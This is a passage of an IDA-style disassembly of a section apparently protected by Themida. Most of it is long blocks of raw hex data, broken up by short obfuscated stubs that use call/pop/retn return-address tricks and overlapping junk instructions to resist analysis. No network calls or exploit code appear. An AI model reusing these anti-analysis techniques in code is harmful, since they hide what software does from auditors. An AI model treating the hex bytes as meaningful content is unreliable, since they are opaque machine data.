dd 3B29FF50h, 74E84C65h, 0D108D8Dh, 6A0801h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 26BFDEC3h dd 0C59D0189h, 907FA0Eh, 0FA2F3985h, 0D98D8907h, 6A07FA1Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6E34C351h, 8B99136Ch, 0FA02BD95h, 0AD85C707h dd 2C07FA31h, 6A00006Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0B5F0C350h, 2D3F8968h dd 0F80E0E8h, 5E9FBBFh, 0E7000000h, 0EE4F4A3Bh, 2BD985C7h dd 7FAh, 0B5890000h, 7FA2145h, 0B5FFAEB3h, 7FA112Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5AC35343h, 179995FFh dd 49B407FAh, 34C1858Bh, 6A07FAh, 101995FFh, 0C08B07FAh dd 961B59EBh, 2536D869h, 21A966F6h, 0A525EFB5h, 0E07B8D15h dd 0AC84D7DDh, 2D50EA48h, 95145223h, 180B0A37h, 0CC87BEEEh dd 0C41E5F50h, 6388631Ch, 993E69D4h, 1D424CA3h, 7961CAC7h dd 50A3BD68h, 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h dd 6D3BA0C1h, 0B5F5EF05h, 8DBC3C5Bh, 10E758Dh, 68E0F08h dd 89000000h, 0FA01B18Dh, 0E3816607h, 8D89E8B5h, 7FA1CD9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h dd 1D99D8Bh, 0B58B07FAh, 7FA00B5h, 16E9BD8Bh, 85C707FAh dd 7FA31ADh, 61C0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0E8C35141h, 3ADC5312h, 0F5D1D50h, 0C7FCF9BFh dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8BD18EEEh, 0FA2B91B5h dd 49B5FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 10EAC357h, 0DBBF0FC2h dd 9995FFF8h, 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7A2FC355h, 47BCF338h dd 11852905h, 6A07FA26h, 1995FF00h, 8B07FA10h, 623DEBC0h dd 87048AA1h, 4E89C962h, 75FA6523h, 403BD501h, 47B0E79Fh dd 565B97F9h, 9C471DC2h, 815893C7h, 1A263EECh, 0EF11191Eh dd 796F3041h, 212FD7FEh, 0D260B343h, 0AE947B51h, 59175EABh dd 12E8h, 0EB264100h, 8AF75F3Fh, 400AEA1Ah, 9B63DD94h dd 8B8AE67Bh, 0FA10D1BDh, 85895807h, 7FA02CDh, 6770C081h dd 8D890000h, 7FA0675h, 34FFD233h, 0D98B6602h, 0D18D8B5Eh dd 8107FA2Ah, 50E3BBF6h, 0C681F860h, 24D3BB1h, 0EF9BD8Bh dd 0F68107FAh, 7F4339Fh, 20F99D89h, 8A5607FAh, 10048FFEh dd 20BDBD8Bh, 8F0F07FAh, 4, 995BB66h, 8B01EA83h, 0FA0B05BDh dd 4A4A4A07h, 81D98B66h, 0FF991CFAh, 0A3850FFFh, 8BFFFFFFh dd 0FA1E7D9Dh, 5E807h, 0A1BE0000h, 8BCB2C0Eh, 0FA159D8Dh dd 860F5A07h, 2, 0C2813BB0h, 6F6Eh, 0B714ECBFh, 5EF78106h dd 6606B70Fh, 8B308DB8h, 8E81Ah, 0EE360000h, 575B468Ch dd 0B8519EB4h, 3926D502h, 0C3815858h, 49A25133h, 8158F553h dd 0F520D2C3h, 8D8B602Eh, 7FA01A5h, 61F28B66h, 0DDB2EB81h dd 89FC0D37h, 5830F1Ah, 0B8000000h, 791C2FC8h, 102EA83h dd 0FA0799BDh, 4F4A4A07h, 10850Fh, 25E90000h, 0B3000000h dd 252BA125h, 8E4326A9h, 8589D40Ch, 7FA18A1h, 0FFFF8EE9h dd 0ABCCD0FFh, 0DBDC82B4h, 2C000AAAh, 8FCC74F5h, 10DA8D8Dh dd 13B20801h, 1CD98D89h, 0BD0B07FAh, 7FA312Dh, 0AD858B60h dd 0E807FA0Ah, 8, 355DC9FEh, 0C9ADBCE1h, 8E8h, 2CEF8600h dd 25FC003Ah, 615F5E94h, 31AD85C7h, 6D7C07FAh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 22AD77C3h, 1CF4D400h, 0C7230BB3h, 0FA2BD985h, 7, 9E95700h dd 4C000000h, 0E1E465CDh, 0D2C6A41Dh, 99B5FF5Bh, 6A07FA1Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 4F8BC356h, 183A299h, 0FA2D71BDh, 0DBBF0F07h dd 179995FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 941453C3h, 9E70B971h, 95FF006Ah dd 7FA1019h, 3AEBC08Bh, 628587FDh, 6C35964Fh, 23BDE8C0h dd 4E5035A2h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh dd 1BF1A4C6h, 208144D3h, 0E958EBA9h, 8DB5AFD4h, 92DDFD9Bh dd 0CFBD9CA5h, 8D8D2349h, 8011209h, 0DDB58B56h, 5B07FA24h dd 1CD98D89h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0CAE560C3h, 4890Fh, 0BB660000h dd 958B53DBh, 7FA272Dh, 31AD85C7h, 6DF407FAh, 0AE90000h dd 9A000000h, 0B940C57Ah, 7B031051h, 0BE94Eh, 0EE430000h dd 42D66AB7h, 8448F64Fh, 0D985C77Fh, 7FA2Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 32B2C352h, 16B9EF99h, 996E4B99h, 45858B50h dd 5F07FA31h, 0EEDB5FFh, 8B6607FAh, 9995FFDFh, 6A07FA17h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0E9CBC350h, 14h, 61D8CA2Ch, 9E772A7Fh, 5EF71322h dd 6CD62C0Bh, 178C555Bh, 6AE5F380h, 1995FF00h, 8B07FA10h dd 895DEBC0h, 7BC8CA3Ch, 788E179Dh, 0F102E9BEh, 8398B409h dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h, 0F3106163h, 85DCF414h dd 7CB3FFE9h, 0DF1734BFh, 29FA616Dh, 49E44D7Ch, 811541FAh dd 88381987h, 0A988F9BEh, 427C28C3h, 0B7EF97EDh, 5B295335h dd 1EDF32F0h, 34A7E244h, 6BC44B9Fh, 8030CCE7h, 133C8D8Dh dd 95890801h, 7FA0055h, 1CD98D89h, 85C707FAh, 7FA31ADh dd 601Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0E6C35646h, 0CFA7831Dh, 3F3CCCB3h, 0D372BE66h dd 0E533CBEh, 0D985C723h, 7FA2Bh, 66000000h, 0B5FFF78Bh dd 7FA1E99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 83C35646h, 7A625EFCh, 0B58926FDh, 7FA1781h, 21059589h dd 95FF07FAh, 7FA1799h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 20C35141h, 951F952Ch, 13E98100h, 2B000000h dd 0B6ADA348h, 509BDA77h, 18F5C8F4h, 0CEB84DA8h, 6A4313h dd 101995FFh, 0C08B07FAh, 0BC3D3AEBh, 0AD4BB669h, 2B79E2AEh dd 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h, 0AB5AD43Eh dd 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h dd 1942B0BCh, 0EC8CDCEDh, 0CE8h, 91D65B00h, 213C4ED8h dd 24D7A52h, 8D89516Dh, 7FA285Dh, 860F5A58h, 6, 0B05BD01h dd 0C28107FAh, 7248h, 73BEFE8Bh, 0BF00001Ch dd 0B96A9EBh, 95290A8Bh, 7FA1F11h, 2B92F181h, 2BB14A6h dd 813B0676h, 75852AC1h, 0CF18162h, 8B0A817Bh, 0FA323185h dd 810A8907h, 9F78C8F0h, 3EA833Fh, 7E9h, 0ED27A800h, 0CAD85D2Ah dd 0D59D034Ah, 4E07FA10h, 0FFB6850Fh, 8B66FFFFh, 5E8DEh dd 4BA90000h, 0F0D375Eh, 58Fh, 2D39BB00h, 89583403h, 0FA1E9D9Dh dd 0D6C08107h, 8B000071h, 0FA0A598Dh, 89FF2B07h, 0FA15319Dh dd 734FF07h, 0A9B50B52h, 5E07FA0Eh, 0A19D8B5Ah, 8107FA11h dd 8D007CC2h, 0CA8B6672h, 2805EA81h, 0BF0F1E95h, 18EA81F2h dd 8B7EBE30h, 0FA30B98Dh, 14E95207h, 92000000h, 0CA744B6Fh dd 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh, 8F2D0011h, 81663804h dd 232A4CEEh, 0FA1D79B5h, 0C3EF8107h, 666F0102h, 0C781DF8Bh dd 6F0102BFh, 1CFD8D8Bh, 0FF8107FAh, 0FFFF8ED0h, 0FF87850Fh dd 0D681FFFFh, 5328225Eh, 159F8D8Dh, 8B660801h, 0D98D89F2h dd 6A07FA1Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3FA1C353h, 8E885F5h, 4DD78166h dd 0AD85C78Bh, 2007FA31h, 6A000075h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EE66C356h dd 0BDA29BFCh, 0B257DA5h, 85C7D88Bh, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5F496B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F496B proc near ; CODE XREF: Themida_:005F4963p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5F496B endp ; --------------------------------------------------------------------------- and eax, eax push edi mov [ebp+7FA0E29h], ecx add [ebp+7FA2DCDh], eax push dword ptr [ebp+7FA2F59h] push 0 push esi call sub_5F499B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F499B proc near ; CODE XREF: Themida_:005F4993p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5F499B endp ; --------------------------------------------------------------------------- aad 4Bh mov [ebp+7FA3289h], esi call dword ptr [ebp+7FA1799h] push 0 push ebp call sub_5F49C4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F49C4 proc near ; CODE XREF: Themida_:005F49BCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5F49C4 endp ; --------------------------------------------------------------------------- dd 664898E3h, 0FF006ADBh, 0FA101995h, 0EBC08B07h, 3B4A3F0Ch dd 1C0BEE8Fh, 8FDE3538h, 0DE8CBh, 2FC20000h, 65F849A2h dd 0F821921h, 665F741Eh, 59058BBAh, 0C181CAB4h, 6CF8h dd 3359CB81h, 0E683D99h, 0B000001Bh, 81665FA4h, 0FF0AECE8h dd 21B50931h, 5E07FA1Ch, 2F819D89h, 0EE8107FAh, 604DE2D6h dd 6E9h, 2812E700h, 81536395h, 0C01CE7C6h, 9E940h, 0FF660000h dd 23EE9716h, 817D5FC5h, 0C3BF31C6h, 81BD3114h, 8907FA11h dd 0C18B6631h, 8A04E983h, 1EF81FCh, 0F000000h, 2285h, 68D0F00h dd 8B000000h, 0FA329585h, 30E907h, 83840000h, 8C1043Ch dd 0ABE523CEh, 5C21DE8Fh, 9420FF6h, 0FA2AB1BDh, 0FF7DE907h dd 0F0BDFFFFh, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch, 0FBECEC6Fh dd 13E87D97h, 95000000h, 0CA6BE949h, 4F48F7ADh, 0D0C93B7Ch dd 0D4994965h, 0B866DA1Fh, 6659B552h, 9393F281h, 6529C181h dd 8D890000h, 7FA1525h, 4C78ACBEh, 8BF68171h, 52714C61h dd 2EE1850Bh, 0FF5A07FAh, 3D958B31h, 5B07FA1Fh, 0BE9h dd 0E9A20F00h, 76F1193Eh, 0D5691D84h, 0EEFFF381h, 0B70F7444h dd 98C381C1h, 810FB44Eh, 3CE5E4EBh, 8902B664h, 0CD850B19h dd 8307FA27h, 0BF0F02E9h, 8B4949C6h, 850F4EF9h, 0FFFFFFB7h dd 68F0Fh, 0BD8B0000h, 7FA299Dh, 0AE8h, 0B9001D00h, 0D5A73991h dd 582D5E41h, 0DE8h, 0E867AE00h, 1A4416DAh, 97416CE4h dd 0F580BF73h, 0C0815AB3h, 699Ch, 68C0Fh, 958B0000h, 7FA0B89h dd 68h, 0AE95000h, 31000000h, 5D34FDD0h, 35780F2h, 815F5AF0h dd 0D02ED6E9h, 734FF3Ch, 0FDC18166h, 0EE95BDBh, 69000000h dd 91572E89h, 0DA40906Fh, 0E35BB2FEh, 0A8EB81AFh, 565D70DAh dd 0DEC3815Ah, 8B4B33EFh, 84EB81D1h, 894BDF97h, 0FA0EA985h dd 0B5015307h, 7FA0AF1h, 6638048Fh, 0D68BD78Bh, 8904EF83h dd 0FA104DB5h, 10FF8107h, 0FFFFF97h, 0FFFFA485h, 0CBE66FFh dd 34AC42A5h, 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h dd 30259083h, 3025DD6Fh, 198A786h, 3022E887h, 30AD8D89h dd 8DA68486h, 37DF42A3h, 4BA12E86h, 0F6259086h, 0CA232D03h dd 6B4D6A81h, 0B1FC8418h, 793E2DB2h, 85DAF552h, 37DF43B7h dd 93F8A40Bh, 0E0DA977Bh, 0B5E3B80Dh, 37DF22E3h, 3021FAC8h dd 0E7650986h, 0BB752CC4h, 0BB2166C2h, 1461A886h, 85DAC882h dd 37DF48A3h, 93F8A10Bh, 0E0DA157Bh, 209CF10Dh, 0D9258486h dd 3025428Eh, 3EA02E20h, 79259086h, 0B52A818Dh, 0CFDADB76h dd 30251F6Fh, 56B88486h, 88227EC9h, 30254283h, 8DA8C279h dd 38248742h, 28AEC50Bh, 229D2C87h, 1BA322A3h, 34AC4249h dd 7C2406A2h, 0B37D7AA2h, 0CA39873Bh, 0B42A2181h, 30259083h dd 3025DD6Fh, 198A786h, 0F305E983h, 22B9A4h, 32E90000h dd 0BD000000h, 81BC5h, 0Bh dup(0) dd 80CE900h, 82940000h, 0D939E61Ch, 33E28FC5h, 8788356Bh dd 0DD34E117h, 0A2578BC1h, 104658B9h, 0B7EDB163h, 6298060Ah dd 0A405EB5h, 64C7E33Bh, 9207E79Bh, 7AE0752Ch, 44FFE683h dd 3899CFCFh, 637F0F51h, 7E0B1E5h, 0B81DA801h, 620F4559h dd 0FD62EDB1h, 98FD8816h, 3398237Bh, 0A032BDE1h, 0B915BD77h dd 2B073171h, 0D1B06EACh, 0CB359804h, 0DB5B07E0h, 0E0CB5CBFh dd 0C8318A07h, 3E7A122h, 88588E10h, 406ED750h, 8EEEh, 0C8499E00h dd 0DFFB4BD6h, 7E0BF7Ch, 42E851AAh, 346AA78Bh, 0E0459A9h dd 74A00590h, 0D769F2Ah, 67F2AC68h, 26EB983Eh, 0A0D1ED78h dd 4DC217E6h, 0F79DC651h, 47D7C74Ah, 0D77D21F2h, 8B91C999h dd 482F3874h, 0C0000000h, 0A9346AA7h, 0E683177Dh, 6B33DFFFh dd 0F7967BE0h, 9EDAA597h, 0FE89F200h, 21C983ACh, 8E722CADh dd 75D8F483h, 9BFFE6FAh, 0BCA3D942h, 5Ah, 98F51F74h, 79ACF569h dd 0D964CDF1h, 0EA0A6D89h, 0DF38FFE6h, 0A719D076h, 451DF86Ah dd 1A43CED0h, 54C126B1h, 2D96BF4Ah, 0A80D39C4h, 72FFE683h dd 504EC2A0h, 0A8339CC5h, 83D93C58h, 0AE07FFE6h, 9940A09h dd 15BD77B0h, 0B2965091h, 8C12035Fh, 0DF6FD801h, 6E148A8Ah dd 96F37930h, 0A5FA3ACAh, 178B316Dh, 7E094FDh, 60C550A9h dd 3A64ADB5h, 27EE9BD1h, 0B6D3EC77h, 40FE1AAAh, 1E0FDAA9h dd 33E035C5h, 53D8105Ah, 0B51E46CAh, 0C1EA7C0Fh, 0ACF22307h dd 524CC976h, 40489BC7h, 0D4FDFFE7h, 0BFDF361Ah, 9CF3D289h dd 52C115C4h, 0F5A967BCh, 2D71A24Fh, 3292BC7Eh, 254A750Dh dd 56FD028Dh, 0CC8B8DCh, 84712866h, 3774833Ch, 34DAh, 9CF36B00h dd 0A0BC15C4h, 0FFE6833Dh, 0BC5B0A63h, 0F46EA75Dh, 0BA1F6E1Fh dd 98114462h, 0BC17C62Fh, 6AF5A967h, 91F09B41h, 786Dh dd 43D02500h, 1A7D05Bh, 607CBC4Ah, 0FFE682FDh, 2487A323h dd 52FFE683h, 89EA90F9h, 0B81B3706h, 0A5FFE683h, 2319D6D6h dd 0B636774Ch, 0E745379Ah, 9B045DFFh, 0A0BC8332h, 0FFE6833Dh dd 58982841h, 0E683D93Ch, 34AE07FFh, 0A9212BDEh, 0A057FDD5h dd 6EA75DBCh, 838AED09h, 23B8FFE6h, 0B444ADF1h, 0E6833598h dd 99025BFFh, 3F69A9EAh, 1EAFEB6Ch, 0C4DA367Bh, 1A71039h dd 326CA74Ah, 4867BA7h, 0BFF8FFEBh, 0ACF22105h, 5648C976h dd 0F3AB66CBh, 611B4C68h, 7A0A947Dh, 0E1E79E50h, 0C76DCD19h dd 0D281B989h, 28683878h, 0EABAA90Ch, 0D97ED7FFh, 0AED7623Ch dd 4D2708h, 0A7B80000h, 841AF66Ch, 0E82BD0F9h, 0A9C24DB6h dd 0B0F080E0h, 0E6833194h, 60065FFFh, 9F46ACC8h, 0FB2507E0h dd 0F5F1F0AEh, 9A040D80h, 0E9428B31h, 12CC055Eh, 29B9E52Eh dd 0E6603ED4h, 0C72E12Fh, 7CBA60EAh, 2588A4E4h, 4B07E0E3h dd 0A7954CF2h, 8EA7326Ch, 0B9D565FBh, 7E090C7h, 0CF7CB20Bh dd 8ACA5A44h, 0E0900B6Eh, 50520007h, 1EEFCA95h, 4BDE84DDh dd 7BD1D1FBh, 0B81B6414h, 7E5A9E12h, 0F2208C53h, 6FFAA470h dd 0ED52DD46h, 5AEC7727h, 36CF7731h, 0B45F43FDh, 0C71CB4EAh dd 9CC5504Eh, 0D4CA49F6h, 0B6B81A44h, 0DF388BFBh, 2C56A639h dd 685D761Ah, 0B516BC7Dh, 0BCFC8CD4h, 0F1FCAE92h, 0CC46EB2Eh dd 51C469D2h, 3933A74Dh, 8D8B6914h, 0FA8519F8h, 83D868D1h dd 7BD0008Dh, 0E0E98C13h, 0DC93D177h, 15C49CF3h, 6CA752C1h dd 5F168332h, 74833C84h, 23DA37h, 0F36B0000h, 0BC15C49Ch dd 0E6833DA0h, 5B0A63FFh, 6EA75DBCh, 4AA98130h, 0F3AB67BCh dd 0B2993F68h, 3Ch, 0C49CF34Bh, 277CBC15h, 0E74AB6E8h dd 0DFFE682h, 5A760EB4h, 0FFE682F7h, 89679CEh, 43AE547Dh dd 0D63B27EEh, 47F65FC8h, 6EA75DBCh, 67BC8130h, 0EE8DE4A9h dd 2A52D6D0h, 11701BC1h, 0C7C092BCh, 0D5AA8103h, 0D91822Fh dd 24615682h, 0DA13FFEBh, 0C7D73C20h, 712DE491h, 0E9081E6h dd 0B2EC297Eh, 2C5D790Ch, 1B838E72h, 2FDD15E5h, 2C7B3879h dd 0C000000h, 0A7326CA7h, 0D565FB8Eh, 0E09A4FB9h, 0BA1A4407h dd 173AFD5Bh, 469FE88Eh, 6F2962BBh, 8616888Bh, 10C72A46h dd 94ED07E1h, 0A7F9B0EEh, 8EA7326Ch, 0B9D565FBh, 7E0AF5Fh dd 84E70383h, 0B207E0AFh, 0ACA6DF59h, 558B01E9h, 0F3FFB6ECh dd 0BC15C49Ch, 4DF3AB67h, 6CA74BBAh, 5F168332h, 74833C84h dd 49DA37h, 0BC6B0000h, 4BF1AD67h, 0CBBA5EAh, 833DA0BCh dd 0EA14FFE6h, 4EB86075h, 3C5F9179h, 854639B3h, 16ABF49Ah dd 0F11AA5F9h, 5DBCD988h, 81306EA7h, 0D2969A9h, 0FFE683AAh dd 22D97FD8h, 0F9C292BCh, 8FE43B05h, 2002E9h, 0F39B0000h dd 0BC15C49Ch, 0E6833DA0h, 792841FFh, 6EA75DBCh, 0F37E20F4h dd 8E19858Eh, 0E493FC65h, 6CA74AA9h, 867BA732h, 0F8FFEB04h dd 0F63605BFh, 0EB0477DAh, 11D9DFFh, 0FFEB049Eh, 72026BC4h dd 0EB03F356h, 22C821FFh, 0CA009E75h, 1DA8F61Dh, 49A78CDh dd 0AA0D2979h, 0D8FFEB04h, 0F70167Fh, 1656E67Ah, 0EB0497FAh dd 0E4BA59FFh, 0CA44AA3h, 49A77CCh, 2C24EA5Eh, 0B91207E5h dd 9CF3CC83h, 33DF34C4h, 0C10EC56Bh, 326CA752h, 845F1683h dd 3774833Ch, 40DAh, 0DD358A00h, 670D36C1h, 0B39CF3B0h dd 2310ABCDh, 5F0E7748h, 833DA0BCh, 0E363FFE6h, 0E68364C7h dd 0D03992FFh, 7529EB40h, 92BC18CFh, 98C0AC7Dh, 0AE46EC60h dd 306EA74Fh, 6D4AA981h, 1Fh, 0C49CF306h, 3DA0BC15h, 41FFE683h dd 5DBC7928h, 81306EA7h, 0CE9F92BCh, 0AABE56E2h, 0A7FA5904h dd 78A2326Ch, 360E6BCBh, 0E4476363h, 12FFE75Bh, 17AA50B9h dd 0EBDDF6EBh, 954F88FFh, 150062B1h, 3B902089h, 0E11FC5D9h dd 5898DF34h, 0EADBD93Ch, 42AE07FFh, 0FFEADBDFh, 0B843AC05h dd 0E676EA9Fh, 0E4F7CCCAh, 5181AB07h, 4810943Dh, 0B75BE64h dd 0B10E27CBh, 669C0596h, 0F728ECEh, 3507E490h, 0F37F36DCh dd 0C115C49Ch, 326CA752h, 283862A2h, 4DA86B3Eh, 472D90FCh dd 0FA53FFE7h, 7E169D54h, 2AB5E929h, 84A45B01h, 3774833Ch dd 37DAh, 9CF36B00h, 0AC158988h, 3DA0BCFDh, 14FFE683h dd 0D38B90EAh, 7F4CEE09h, 0B759D323h, 5D41CFBBh, 9A40A9D2h dd 0BC49F851h, 0F46EA75Dh, 6A19821Ch, 286D4AA9h, 6000000h dd 15C49CF3h, 833DA0BCh, 2841FFE6h, 0AC46E98h, 18DAD07h dd 5DBCA45Bh, 81306EA7h, 0B83D92BCh, 86293280h, 0A7D635E0h dd 4DA2326Ch, 2975A0C2h, 660C759Eh, 80CFBAD3h, 0D895E352h dd 8E872C0Bh, 0F35C8510h, 99050E63h, 0A73FE50Eh, 0E123CD8Bh dd 6AA0F907h, 50E08009h, 4757BB10h, 387C2DA1h, 116A0FE2h dd 0B6F63686h, 0E207379Ah, 98045D0Fh, 0FE20735h, 0AF5C025Bh dd 57043A64h, 2B57E2BCh, 0FFCECBBh, 0ECD08AC3h, 94417727h dd 79DCF87Fh, 0A70FC7E3h, 3569A94Eh, 33DC41CCh, 997BE06Bh dd 0FD157A05h, 9BC416A1h, 3E6739E1h, 2B73A084h, 0D3CB48F5h dd 3A948h, 0BB420000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 89535285h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 2404895Ch, 87868h, 24048900h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0ED68240Ch, 8B080118h, 0C4832404h dd 0C8B5404h, 4C48124h, 81000000h, 4ECh, 242C8900h, 6989C589h dd 34FF5D08h, 0C4835924h, 2434FF04h, 4C48158h, 0E9000000h dd 0FFF95E08h, 0F4C86DE4h, 0EE70D60h, 71490D5Ah, 7DB8A554h dd 3080120h, 0D6E0FFC5h, 573D4412h, 895694ACh, 0FC2A4B57h dd 1C4CC4C8h, 3B143EB1h, 2905DD36h, 5317B423h, 5D281647h dd 47078B0Fh, 5C486377h, 3C14B8F2h, 0AF2C85F1h, 2D57B4C2h dd 0D80092CBh, 7A047A78h, 0BB5B3EBBh, 0C60BDDCh, 8D764F86h dd 1225D8Dh, 50006A08h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 3263FE6Dh, 89DC4400h, 0FA237995h dd 9E807h, 0AB750000h, 4757347Fh, 0FD1A9B6h, 895EF3BFh dd 0FA1CD98Dh, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8956B399h, 0FA249985h dd 0AD85C707h, 0FC07FA31h, 8100005Dh, 6E9CB5C8h, 0FE938h dd 0D2D60000h, 0EA7A7137h, 0EAB57AEAh, 0E7FB9CBBh, 0D985C75Ch dd 7FA2Bh, 0E9000000h, 13h, 297DACBh, 0E87CAEDFh, 4F2F2599h dd 0FF569FDh, 0FF11D44Bh, 0FA1E99B5h, 10E907h, 0C930000h dd 0F56A74ABh, 0E9463AC2h, 85D1327Ah, 0F513C4Ch, 0FF5AC2BFh dd 0FA179995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0CEFB25ADh, 0B642DAACh dd 0DE925h, 0CCB0000h, 5E78AEE3h, 0B0162E06h, 6A8DAF1Ch dd 1995FF00h, 8B07FA10h, 923AEBC0h, 0CF55401h, 307D3EE5h dd 2A0FEE0Bh, 841BE467h, 578A9220h, 0F18ECECDh, 0E3C0AD5Dh dd 0A9619A42h, 0AB22069Ah, 5BAD66B2h, 561795F4h, 700B2226h dd 0FDFBE2D0h, 0EFA20D7Dh, 13E848h, 244A0000h, 0A6D57A0Ah dd 0A9A6D195h, 5ED61E61h, 350E6854h, 810FD4h, 5A000000h dd 1E7D8D89h, 0C28107FAh, 6016h, 68C6BF0Fh, 17DBh, 6872BB66h dd 0FD85015Eh, 0FF07FA1Ch, 13E932h, 0C24F0000h, 0FC27411Ch dd 0E73C5482h, 0FC9674C7h, 512DDEE3h, 0E98159BCh, 7B5D3225h dd 68B0Fh, 9D330000h, 7FA0CBDh, 0DA52E981h, 858B47EFh dd 7FA1609h, 9976F181h, 0E58A13B2h, 0CE951h, 0DC840000h dd 9A5EA4F5h, 6F578C15h, 28F1386h, 3EA83F9h, 1F719D01h dd 314A07FAh, 0FA0F99B5h, 1EE8307h, 0FF91850Fh, 0BD31FFFFh dd 7FA3495h, 0CE8h, 0C000CE00h, 0C7C6533Ch, 0B01FCAEDh dd 0BF6660AFh, 61F99E50h, 81C28B5Bh, 5884C3h, 28BA6600h dd 16046878h, 0A8B80000h, 59393E03h, 7C1D1ABEh, 0FC33FF5Dh dd 79B58B5Fh, 8107FA29h, 651720F7h, 3ABE6604h, 78C781ABh dd 102E3E1h, 0FA0FA58Dh, 50C78107h, 0F567A2F1h, 79B58B57h dd 8F07FA26h, 0B5895603h, 7FA25F1h, 4EB8358h, 21658D29h dd 0F4907FAh, 0FFFFB885h, 0AD8D8DFFh, 6A080124h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 69C4C351h, 600BB2CEh, 12E922FAh, 0C5000000h, 91CFF529h dd 0E4979CF7h, 0DE31CB4Bh, 0C6C7D9D3h, 0BD9D8943h, 2307FA0Ch dd 0FA1D3D9Dh, 0D98D8907h, 0E907FA1Ch, 0Eh, 0D028A7D6h dd 9D4704CAh, 0FE03E50Bh, 85C70639h, 7FA31ADh, 66ECh, 2CA59529h dd 85C707FAh, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5F5897 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5897 proc near ; CODE XREF: Themida_:005F588Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5F5897 endp ; --------------------------------------------------------------------------- cld add [esi], ch sub [ecx-940F030h], ah push dword ptr [ebp+7FA2EA9h] mov [ebp+7FA0135h], edx call dword ptr [ebp+7FA1799h] push 0 push edi call sub_5F58CD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F58CD proc near ; CODE XREF: Themida_:005F58C5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5F58CD endp ; --------------------------------------------------------------------------- align 2 xchg eax, ebp mov esp, [edx] jle short loc_5F5957 mov dx, 2A2Eh push 0 call dword ptr [ebp+7FA1019h] mov eax, eax jmp short near ptr loc_5F5960+1 ; --------------------------------------------------------------------------- db 88h dd 0A5BC99E1h, 0D0F02986h, 53AEAC62h, 364B4158h, 676DDD46h dd 754C6C61h, 8E1694C3h, 83F99B09h, 554417E3h, 202857BFh dd 0DA68D096h, 20738A96h, 0D2E721EBh, 7A9A47Eh, 9D37EEC3h dd 2FE106FBh, 8DEB9C8Bh, 4B82BD01h, 0A5142279h, 82102AAEh dd 9F3672A0h, 4AB9BB5Dh, 4668FC15h, 8C7017AFh db 0A0h, 1Ch, 0BFh ; --------------------------------------------------------------------------- loc_5F5957: ; CODE XREF: Themida_:005F58E1j xchg eax, esp mov dl, 0A9h mov ch, 67h jns short loc_5F59A4 outsb out dx, al loc_5F5960: ; CODE XREF: Themida_:005F58F1j xor al, 8Dh lea ebp, ds:6A080126h add [edi-18h], dl add eax, 